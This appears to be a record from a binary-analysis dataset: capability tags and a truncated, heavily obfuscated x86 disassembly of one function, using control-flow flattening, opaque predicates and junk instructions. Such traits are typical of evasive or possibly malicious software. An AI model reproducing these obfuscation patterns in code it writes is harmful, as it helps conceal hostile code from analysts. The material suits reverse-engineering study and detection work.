Function at 0x4018d0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Hash data using murmur3
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1b4
mov eax, dword [0x4a2c40]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xdc6ccc28
jmp 0x401a00
mov eax, dword [ebp - 0x74]
mov ecx, dword [0x4a3f84]
mov esi, dword [eax]
mov eax, dword [eax + 4]
add esi, dword [ebp - 0x1c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0xbc], esi
mov esi, 0x2a232d4e
mov dword [ebp - 0x164], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x14c801
and eax, 0xfdab3770
and ecx, 0x240008e
or edx, ecx
xor edx, 0x14c801
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8d4147a4
and ecx, 0x72beb85b
or eax, ecx
mov ecx, eax
xor eax, 0x24040
xor ecx, 0x8f158f2b
mov edx, ecx
and eax, 0x8607496b
and ecx, 0x79f8b694
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x79f8b695
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1d74083e
and eax, 0xe28bf7c1
or ecx, eax
mov eax, ecx
xor eax, 0x1600818
xor ecx, 0xe0811480
and eax, 0x36aeb59
and ecx, 0xfc9514a6
or ecx, eax
xor ecx, 0xfc9514a6
sete ah
setne al
cmp dword [0x4a3f80], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
and al, ch
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x83036a35
cmovne ecx, esi
test al, 1
mov eax, 0x83036a35
cmovne eax, ecx
test dl, 1
cmove eax, ecx
nop
cmp eax, 0xf7b16c2e
jle 0x401b60
cmp eax, 0x411ac27b
jle 0x401bd0
cmp eax, 0x63d3324a
jle 0x401dba
cmp eax, 0x707a7f14
jg 0x40210b
cmp eax, 0x692f3b90
jg 0x40275c
cmp eax, 0x65dfce55
jg 0x4033be
cmp eax, 0x6454223d
jle 0x404ab5
cmp eax, 0x6454223e
je 0x407624
cmp eax, 0x654fc761
je 0x407756
cmp eax, 0x65cee96f
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xe11be149
mov edi, edx
mov esi, eax
and esi, 0x9b335a20
and edi, 0x4c40496
and edx, 0x73f59c3f
or edi, esi
mov esi, ecx
xor esi, 0x1ee41eb6
and esi, ecx
and ecx, 0x8c0a63c0
mov ebx, esi
not ebx
and esi, 0x64cca5df
or ecx, edx
or eax, ebx
and ebx, 0x9b335a20
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0xe11be148
and eax, 0x1ee41eb7
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xba315f06
and esi, 0x45cea0f9
or esi, edx
mov edx, ecx
xor edx, 0x40a20c0
xor ecx, 0x73f59c3f
or eax, ecx
and ecx, 0xba315f06
and edx, 0x45cea0f9
or edx, ecx
not eax
xor edx, esi
mov esi, 0x2a232d4e
or eax, edx
xor eax, 0xffffffff
setne cl
sete al
cmp dword [0x4a3f80], 0xa
setl dl
setge ah
and cl, dl
and ah, al
or dl, al
or cl, ah
mov ah, dl
mov al, cl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xa92edd70
cmovne edx, esi
test al, 1
mov eax, 0xa92edd70
jmp 0x40db30
cmp eax, 0xb75a69dd
jle 0x401c40
cmp eax, 0xd98a4d40
jle 0x401ec3
cmp eax, 0xe6914308
jle 0x402219
cmp eax, 0xf1290def
jg 0x4027a3
cmp eax, 0xed0e5e82
jg 0x4035ac
cmp eax, 0xe87ae9d3
jle 0x404b9a
cmp eax, 0xe87ae9d4
je 0x407937
cmp eax, 0xe991fa79
je 0x40796a
cmp eax, 0xebb753bc
jne 0x401a00
mov eax, 0x87295a5f
jmp 0x401a00
cmp eax, 0x14fcdd34
jg 0x401f41
cmp eax, 0x56c9688
jle 0x40231e
cmp eax, 0xe38924f
jg 0x40280e
cmp eax, 0xb1b552f
jg 0x4035f4
cmp eax, 0x6c4f2f8
jle 0x404bba
cmp eax, 0x6c4f2f9
je 0x407974
cmp eax, 0x6e1681a
je 0x407b3e
cmp eax, 0x6e946a2
jne 0x401a00
mov eax, 0x3129f3b2
jmp 0x401a00
cmp eax, 0x9b8122a5
jg 0x401fa6
cmp eax, 0x8fe3134b
jle 0x402439
cmp eax, 0x96ff1a66
jg 0x402889
cmp eax, 0x932b3c7c
jg 0x403648
cmp eax, 0x90a4bc04
jle 0x404dd0
cmp eax, 0x90a4bc05
je 0x407cb7
cmp eax, 0x910fedc6
je 0x407cc1
cmp eax, 0x931b81a2
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x10820820
mov ecx, edx
and ecx, 0x5442249
and edx, 0xb52b24f2
or esi, ecx
mov ecx, eax
and ecx, 0xea39d596
and eax, 0x4ad4db0d
xor esi, 0x10820820
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x15c62a68
and esi, 0xea39d597
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xed750280
and esi, 0x128afd7f
or ecx, esi
mov esi, ecx
xor esi, 0x49600280
xor ecx, 0x128afd7f
mov edx, ecx
and edx, 0xa69f496a
and esi, 0x5960b695
or esi, edx
mov edx, eax
xor edx, 0x48409205
xor eax, 0xb52b24f2
or ecx, eax
and eax, 0xa69f496a
and edx, 0x5960b695
or edx, eax
not ecx
xor edx, esi
mov esi, 0x5fbc4a24
or ecx, edx
xor ecx, 0xffffffff
sete dh
setne ch
cmp dword [0x4a3f80], 0xa
mov cl, dh
setl ah
setge dl
mov al, ah
or cl, dl
or al, ch
mov ebx, eax
or al, cl
xor bl, cl
mov cl, ah
xor ah, dh
and dh, dl
or dl, ch
xor al, 1
and cl, ch
xor dl, 1
or al, bl
or cl, dh
or dl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
xor dl, 1
and dl, ah
or ah, cl
mov ecx, 0xc8a9da26
or al, dl
mov dh, ah
xor dh, al
test ah, 1
cmovne ecx, esi
test al, 1
mov eax, 0xc8a9da26
cmove ecx, esi
test dh, 1
jmp 0x40a341
cmp eax, 0x51f241c7
jle 0x40248c
cmp eax, 0x5b53c92d
jg 0x4028d1
cmp eax, 0x55ac3050
jg 0x40367e
cmp eax, 0x54757a29
jle 0x404f54
cmp eax, 0x54757a2a
je 0x407d62
cmp eax, 0x54f1fd60
je 0x407d6c
cmp eax, 0x551d55fd
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x72df3a49
mov edi, ecx
or edi, 0xed624062
mov esi, ecx
and esi, 0xed624062
and ecx, 0x8d20c5b6
mov edx, edi
not edx
and edi, 0x129dbf9c
or eax, ecx
or edx, esi
xor eax, 0x72df3a49
and edx, 0xed624063
or edx, edi
mov esi, edx
not esi
and edx, 0x81dfba00
and esi, 0x7e2045ff
or edx, esi
mov esi, 0x988144aa
xor edx, 0x81dfba00
or eax, edx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x4a3f80], 0xa
setl ch
setge ah
mov dh, ch
or al, ah
xor dh, dl
or dl, ch
xor al, 1
mov cl, dh
xor dl, 1
xor cl, ah
or al, dl
and cl, dh
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xa92a17c7
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov esi, 0xa92a17c7
jmp 0x40230f
cmp eax, 0xc701d298
jle 0x4024e9
cmp eax, 0xd268f4bf
jg 0x402ba7
cmp eax, 0xca9dd3e4
jg 0x40385f
cmp eax, 0xc8a9da25
jle 0x404f74
cmp eax, 0xc8a9da26
je 0x407e61
cmp eax, 0xc8d81937
je 0x407e6b
cmp eax, 0xc9570cb9
jne 0x401a00
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, 0xad5ce635
jmp 0x401a00
cmp eax, 0x24231e05
jle 0x40269b
cmp eax, 0x305c3b0a
jg 0x402bee
cmp eax, 0x2b37df62
jg 0x403a65
cmp eax, 0x2749d77c
jle 0x40504a
cmp eax, 0x2749d77d
je 0x407f58
cmp eax, 0x28280331
je 0x407ffe
cmp eax, 0x2a232d4e
jne 0x401a00
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xbc], eax
mov eax, 0xa92edd70
jmp 0x401a00
cmp eax, 0xa826881c
jle 0x4026e7
cmp eax, 0xae269dc1
jg 0x402d91
cmp eax, 0xaab4f832
jg 0x403b85
cmp eax, 0xa92edd6f
jle 0x40507a
cmp eax, 0xa92edd70
je 0x4018f0
cmp eax, 0xa9a59896
je 0x408008
cmp eax, 0xaaae125e
jne 0x401a00
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0xf4]
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
setb byte [ebp - 0x63]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7e423193
and eax, 0x81bdce6c
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x81bdce6c
xor edx, 0x7e423193
xor ecx, 0x7e423192
and ecx, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
mov eax, ecx
not eax
and ecx, 0x2cdd0563
mov esi, eax
and esi, 0xd322fa9c
or ecx, esi
mov esi, edx
not esi
and edx, 0x2cdd0563
or eax, esi
and esi, 0xd322fa9c
or edx, esi
not eax
mov esi, 0x2effc394
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2d47344e
and ecx, 0xd2b8cbb1
or eax, ecx
mov ecx, eax
xor ecx, 0x25421044
xor eax, 0xd2b8cbb1
mov edx, eax
and edx, 0xc8a5ad0b
and ecx, 0x375a52f4
or ecx, edx
xor ecx, 0xc8a5ad0b
xor eax, ecx
test eax, ecx
sete al
setne dl
cmp dword [0x4a3f80], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
or al, cl
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
mov ah, cl
xor dl, 1
xor ah, 1
or dl, ch
and ah, dl
xor dl, 1
and dl, cl
mov ecx, eax
or dl, ah
xor cl, dl
test cl, 1
mov ecx, 0x46068ee8
cmovne ecx, esi
test al, al
mov eax, 0x46068ee8
jmp 0x4019f5
cmp eax, 0x76d1fbf0
jg 0x402df0
cmp eax, 0x73bfe7d1
jg 0x403bc4
cmp eax, 0x7156330b
jle 0x405165
cmp eax, 0x7156330c
je 0x408012
cmp eax, 0x72447a87
je 0x40801c
cmp eax, 0x72b0c36f
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 1
not edx
and eax, 0x3b931508
mov esi, edx
and ecx, 0x2160bd0f
and esi, 0xde9f42f0
or esi, ecx
mov ecx, edx
or ecx, 0x2160bd0e
and edx, 0xc46ceaf7
and ecx, 0x2160bd0f
or eax, edx
mov edx, eax
xor ecx, esi
xor edx, 0x3b931508
xor eax, 0xc46ceaf7
mov esi, 0xd8bf5092
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4a3f80], 0xa
setl ch
setge cl
mov al, ch
and dl, ch
or ch, ah
and cl, ah
xor ch, 1
or cl, dl
xor al, ah
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov edx, ecx
xor dl, ah
test ah, ah
mov eax, 0x54757a2a
cmovne eax, esi
test cl, 1
mov ecx, 0x54757a2a
jmp 0x40b6a8
cmp eax, 0xe03aa75c
jg 0x402f17
cmp eax, 0xde15dc8f
jg 0x403c03
cmp eax, 0xda9a13e7
jle 0x40530d
cmp eax, 0xda9a13e8
je 0x4080a5
cmp eax, 0xdc3a93b1
je 0x4081a7
cmp eax, 0xdc6ccc28
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xd37c0f72
and edx, 0x2c83f08c
or eax, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov esi, eax
xor esi, 0x2700450
xor eax, 0x2c83f08d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xf50d3ba7
and esi, 0xaf2c458
and edx, 0xaf2c458
or eax, ebx
and ebx, 0xf50d3ba7
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x5d411abc
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4a3f80], 0xa
setge al
setl ah
and dl, ah
and al, cl
or al, dl
mov dl, ah
or dl, cl
xor cl, ah
xor al, 1
xor dl, 1
or cl, dl
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x9458cda2
cmovne ecx, esi
test al, al
mov esi, 0x9458cda2
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x401a00
cmp eax, 0xfc41c0f6
jle 0x402f58
cmp eax, 0x135e1a
jg 0x403c67
cmp eax, 0xfd5cbb0d
jle 0x40547e
cmp eax, 0xfd5cbb0e
je 0x4081b1
cmp eax, 0xfe47d1bf
je 0x4081c5
cmp eax, 0xfe4833b6
jne 0x401a00
mov edi, dword [ebp - 0x174]
mov esi, edi
not esi
mov eax, edi
and eax, 0x30b2489d
or edi, 0x55da7d7e
mov ecx, esi
and ecx, 0xcf4db762
and esi, 0x88210000
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor eax, 0xcf4db762
xor ebx, 0x656835e3
xor ecx, 0x30104895
and ebx, eax
and ecx, 0x3b1448d5
mov edx, ebx
not edx
and ebx, 0xd97b581c
mov dword [ebp - 0x2c], edx
and dword [ebp - 0x2c], 0x2684a7e3
or edx, edi
and edi, 0x2684a7e3
add ebx, dword [ebp - 0x2c]
or esi, edi
mov edi, eax
and edi, 0xc4ebb72a
not edx
and eax, 0xfff
or edi, ecx
xor edi, 0x3b14472a
or eax, edi
not eax
xor esi, ebx
or edx, esi
mov esi, edx
not esi
and edx, 0x55da7281
and esi, 0xaa258d7e
or edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xaf256a52
and ecx, 0x50da95ad
or ecx, eax
xor ecx, 0xaf256a52
add ecx, dword [ebp - 0x170]
mov dword [ebp - 0xb0], ecx
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
add eax, dword [ebp - 0x16c]
mov dword [ebp - 0xf8], eax
mov eax, 0x6e1681a
jmp 0x401a00
cmp eax, 0x88a8dcaf
jle 0x402fa4
cmp eax, 0x8b84ba2f
jg 0x403cc1
cmp eax, 0x891e9b98
jle 0x405569
cmp eax, 0x891e9b99
je 0x4081cf
cmp eax, 0x89224ddc
je 0x408347
cmp eax, 0x89de0b9a
jne 0x401a00
mov dword [ebp - 0x30], 1
mov eax, 0x4a9499b1
jmp 0x401a00
cmp eax, 0x49ba835f
jle 0x403146
cmp eax, 0x4df6a22c
jg 0x403d10
cmp eax, 0x4b20094f
jle 0x4056b0
cmp eax, 0x4b200950
je 0x408351
cmp eax, 0x4baf356b
je 0x408417
cmp eax, 0x4d508e19
jne 0x401a00
mov eax, dword [ebp - 0x18c]
mov ecx, 0x81edcafa
cmp dword [eax], 0
mov eax, 0x691cd048
cmove eax, ecx
jmp 0x401a00
cmp eax, 0xbf69f6a6
jle 0x4031aa
cmp eax, 0xc21b24d0
jg 0x403d4f
cmp eax, 0xbfa0818b
jle 0x40578f
cmp eax, 0xbfa0818c
je 0x408430
cmp eax, 0xc089b21c
je 0x40843a
cmp eax, 0xc1719a35
jne 0x401a00
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x81797102
and eax, 0x7e868efd
or ecx, eax
mov eax, ecx
xor ecx, 0x24820e60
xor eax, 0x81797102
mov edx, eax
and ecx, 0x25820e60
and eax, 0xda7df19f
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xda7df19e
or eax, edx
mov ecx, eax
xor ecx, 0x4f63480b
mov edx, eax
not edx
and ecx, eax
or eax, 0xb09cb7f4
and edx, 0x1220002
mov esi, eax
and esi, 0xde5d7f2d
or edx, esi
mov esi, ecx
not esi
and ecx, 0x21a280d2
or eax, esi
and esi, 0xde5d7f2d
or ecx, esi
not eax
mov esi, 0x55eb857f
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3c4ed3d0
and ecx, 0xc3b12c2f
or eax, ecx
mov ecx, eax
xor ecx, 0x700c0309
xor eax, 0x8cc02420
and eax, 0x8fe1bcf2
and ecx, 0x701e430d
or ecx, eax
mov eax, ecx
xor eax, 0x1e410c
xor ecx, 0x1a124f0
and ecx, 0x71a126f1
and eax, 0x8e5ed90e
or eax, ecx
mov ecx, eax
xor ecx, 0x518120e1
xor eax, 0x80069004
and eax, 0xa0269614
and ecx, 0x5fd969eb
or ecx, eax
xor ecx, 0x5fd969eb
sete dl
setne al
cmp dword [0x4a3f80], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
xor dl, 1
or al, ch
mov dh, dl
mov ah, al
and dh, cl
mov ch, al
or al, dl
xor dh, 1
xor ah, 1
xor al, 1
and ch, ah
or dh, cl
xor dh, 1
xor ch, 1
mov bl, ch
or ch, ah
or dh, dl
mov bh, dh
xor bl, ah
xor ch, 1
xor ah, cl
or ch, bl
xor bh, 1
or al, ah
and bh, ch
xor ch, 1
mov cl, al
and ch, dh
mov edx, 0x6de1a74b
or ch, bh
xor cl, ch
test cl, 1
cmovne edx, esi
test al, al
mov eax, 0x6de1a74b
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0x1a1eea22
jle 0x4031eb
cmp eax, 0x1daf719d
jg 0x403d8e
cmp eax, 0x1b373681
jle 0x4057bb
cmp eax, 0x1b373682
je 0x40852a
cmp eax, 0x1b7ef19e
je 0x408537
cmp eax, 0x1d8e45d7
jne 0x401a00
mov eax, 0x54f1fd60
jmp 0x401a00
cmp eax, 0x9f476a88
jle 0x403376
cmp eax, 0xa28441a9
jg 0x403ec8
cmp eax, 0xa0acdca1
jle 0x4057db
cmp eax, 0xa0acdca2
je 0x40868e
cmp eax, 0xa18be6a1
je 0x408698
cmp eax, 0xa2813635
jne 0x401a00
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x24], eax
mov eax, dword [0x45803c]
cmp dword [eax + section..data], 0x4550
lea ecx, [eax + section..data]
mov eax, 0xc1719a35
mov dword [ebp - 0x34], ecx
mov ecx, 0x1004d438
cmove eax, ecx
jmp 0x401a00
cmp eax, 0x6de1a74a
jg 0x404037
cmp eax, 0x6ae04722
jle 0x405802
cmp eax, 0x6ae04723
je 0x4086a2
cmp eax, 0x6af5745e
je 0x4086ac
cmp eax, 0x6c7ba029
jne 0x401a00
mov eax, dword [ebp - 0x88]
mov eax, 0xda9a13e8
jmp 0x401a00
cmp eax, 0xf428b8d6
jg 0x40406d
cmp eax, 0xf27d6ca4
jle 0x405822
cmp eax, 0xf27d6ca5
je 0x4087bd
cmp eax, 0xf29410c3
je 0x408974
cmp eax, 0xf3d77191
jne 0x401a00
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0x50]
mov ecx, dword [ecx + 0xa4]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x128], edx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xc4], ecx
mov eax, 0xc089b21c
jmp 0x401a00
cmp eax, 0x1004d437
jg 0x4041fe
cmp eax, 0xe96d63f
jle 0x405845
cmp eax, 0xe96d640
je 0x408988
cmp eax, 0xfba4397
je 0x408a0b
cmp eax, 0xff2dede
jne 0x401a00
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x98]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x60]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x1d1f55c
jmp 0x401a00
cmp eax, 0x99545431
jg 0x404234
cmp eax, 0x97d77709
jle 0x405865
cmp eax, 0x97d7770a
je 0x408a15
cmp eax, 0x988144aa
je 0x408a1f
cmp eax, 0x98af3bf8
jne 0x401a00
mov dword [ebp - 0x30], 0xc
mov eax, 0x51b368e9
jmp 0x401a00
cmp eax, 0x5dcdd8b1
jg 0x404391
cmp eax, 0x5d411abb
jle 0x405890
cmp eax, 0x5d411abc
je 0x408a29
cmp eax, 0x5d5cd7dd
je 0x409400
cmp eax, 0x5dc513ae
jne 0x401a00
sub edx, 0x11
add esi, 0x51
rol edx, 0xb2
sbb edx, 0xd1
and edx, 0xb3
rcr eax, 2
neg esi
not edi
add ebx, 0x27
or ebx, 0xf4
or edx, 0xc0
not esi
imul eax
neg eax
sbb edi, 0xfe
and edx, 0x50
dec ebx
rcr edi, 0x87
sbb eax, 0x8f
mov ebx, 0x34
add edx, 7
not edi
sbb esi, 0x7b
rol esi, 0x78
dec eax
neg edi
not edx
dec edx
dec edx
add edx, 0xa1
bswap edi
sub esi, 0x11
dec edi
rol eax, 0x2a
sbb eax, 0x75
mov edi, 0x9a
and edi, 0xde
mov eax, 0xfb
mov ebx, 0xc2
rcr edi, 0xa6
dec esi
rol esi, 0xb9
and ebx, 0xb7
rol edx, 0x8f
sbb eax, 0x4d
neg ebx
imul eax
neg edi
rol eax, 0x5b
sbb ebx, 0x19
dec edi
rcl esi, 0xa3
or edx, 0x79
ror eax, 0xc1
rcr edx, 0x67
dec edi
bswap ebx
neg eax
ror ebx, 0x4e
imul edx
bswap ebx
inc edi
rol edi, 0x91
ror edx, 0x43
neg ebx
dec edi
or eax, 0x1f
sub eax, 0x31
ror eax, 0x54
not edx
dec esi
neg edx
and edx, 0x25
sub esi, 0x63
neg ebx
inc ebx
bswap edx
rcl edi, 0x1f
ror esi, 0xec
rcl esi, 0x8b
inc eax
not esi
neg edx
add esi, 0x9c
dec edx
inc edx
imul esi
or ebx, 0x32
rcr edx, 0xe9
inc ebx
dec edi
dec edx
dec edx
neg esi
rcr eax, 0xf2
bswap ebx
ror esi, 0x54
imul esi
add esi, 0x96
inc eax
dec eax
imul edi
inc edi
or eax, 0x72
neg edx
rol ebx, 0x47
dec esi
and eax, 0xf2
sub eax, 0xfc
imul ebx
not eax
ror eax, 0x7d
dec esi
sub edi, 0xd1
imul edi
sbb edi, 0x7b
inc eax
ror esi, 0xff
sub eax, 0x1f
not edx
imul ebx
imul edx
sbb edi, 0x49
not edx
inc edi
imul esi
bswap edx
not eax
neg ebx
add esi, 0xde
rcr eax, 0x5a
not ebx
and eax, 0x41
not eax
imul edx
and esi, 0x6e
rcl edi, 0xe5
add edi, 0x92
neg ebx
add eax, 0xbb
ror esi, 0x59
imul ebx
ror eax, 0xd3
or edx, 0xd1
imul edi
bswap edx
imul eax
not edx
sbb eax, 0x49
imul edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x9f07f20b
mov edi, edx
mov esi, ecx
and esi, 0x92564b31
and edi, 0x60a804c4
and edx, 0x940fe6f5
or edi, esi
mov esi, eax
xor esi, 0x60f80df4
and esi, eax
and eax, 0x6bf0190a
mov ebx, esi
not ebx
and esi, 0x6da9b4ce
or eax, edx
or ecx, ebx
and ebx, 0x92564b31
mov edx, eax
xor eax, 0x940fe6f5
xor edx, 0x6bf0190a
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x33979a1f
and esi, 0xcc6865e0
or ecx, esi
mov esi, ecx
xor esi, 0x536f97ea
xor ecx, 0xac906815
and eax, esi
and edx, ecx
mov esi, 0xe63adbc2
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete ch
cmp dword [0x4a3f80], 0xa
setl dl
setge cl
and ah, dl
and cl, ch
mov al, dl
or dl, ch
or cl, ah
xor al, ch
xor cl, 1
and al, dl
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x5aabd061
cmovne esi, ecx
test dl, 1
mov ecx, 0xe63adbc2
cmovne ecx, esi
test al, 1
jmp 0x40c5c9
cmp eax, 0xd6c22472
jg 0x4043c7
cmp eax, 0xd516ebc8
jle 0x40594d
cmp eax, 0xd516ebc9
je 0x409429
cmp eax, 0xd54442e9
je 0x40943a
cmp eax, 0xd63bab74
jne 0x401a00
mov eax, dword [ebp - 0xc4]
mov eax, 0x3b4ccf95
jmp 0x401a00
cmp eax, 0x350e608b
jg 0x404409
cmp eax, 0x31dce376
jle 0x40599c
cmp eax, 0x31dce377
je 0x409444
cmp eax, 0x320ff929
je 0x40944e
cmp eax, 0x34a6b3c2
jne 0x401a00
mov ecx, dword [0x4a3f84]
mov edi, 0x1a1eea23
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x4e1a79cc
mov edx, eax
and edx, 0x46125808
and ecx, eax
not eax
and eax, 0x80821c4
or edx, eax
xor edx, 0x46125808
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf18957f8
and eax, 0xe76a807
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x3a920c04
xor esi, 0x406cd1cb
xor ecx, 0x9f902404
mov eax, esi
or eax, 1
and esi, 0x8509f2b3
and edx, 0x7af60d4c
and ecx, 0x9ff074c6
or edx, esi
mov esi, eax
and esi, 0x600f8b38
or ecx, esi
mov esi, edx
xor esi, 0x1af00445
xor edx, 0x8509f2b2
or eax, edx
and edx, 0x600f8b38
and esi, 0x9ff074c7
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, eax
or esi, 0x42200c1
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x21595f2a
and ecx, eax
and esi, 0x42246c3
and edx, 0x21591928
or edx, esi
mov esi, ecx
not esi
and ecx, 0xfbddb93c
or eax, esi
and esi, 0x42246c3
or ecx, esi
not eax
mov esi, 0x1a1eea23
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xdea6a0d5
and eax, 0x21595f2a
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xabc4ed86
and ecx, 0x543b1279
or eax, ecx
mov ecx, eax
xor ecx, 0x2ac4a880
xor eax, 0x40120200
and eax, 0xc1124706
and ecx, 0x3eedb8f9
or ecx, eax
cmp ecx, 0x3eedb8f9
sete dl
cmp dword [0x4a3f80], 0xa
setge cl
setl al
mov ah, cl
xor al, dl
xor ah, dl
mov ch, ah
and ah, cl
or cl, dl
not ch
xor cl, 1
or al, ah
and ch, dl
mov edx, 0x135e1b
or cl, ch
xor al, cl
cmovne esi, edx
test al, cl
cmovne esi, edi
test al, al
cmovne edi, esi
test al, cl
cmove edi, esi
mov eax, edi
jmp 0x401a00
cmp eax, 0xb31a7b5c
jg 0x404446
cmp eax, 0xb04b3982
jle 0x405b29
cmp eax, 0xb04b3983
je 0x409458
cmp eax, 0xb1a59fd8
je 0x409462
cmp eax, 0xb27b3558
jne 0x401a00
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x88f7d356
jmp 0x401a00
cmp eax, 0x790100b3
jg 0x404627
cmp eax, 0x78124844
jle 0x405b83
cmp eax, 0x78124845
je 0x409472
cmp eax, 0x78d2a4c2
je 0x409485
cmp eax, 0x78e3394b
jne 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
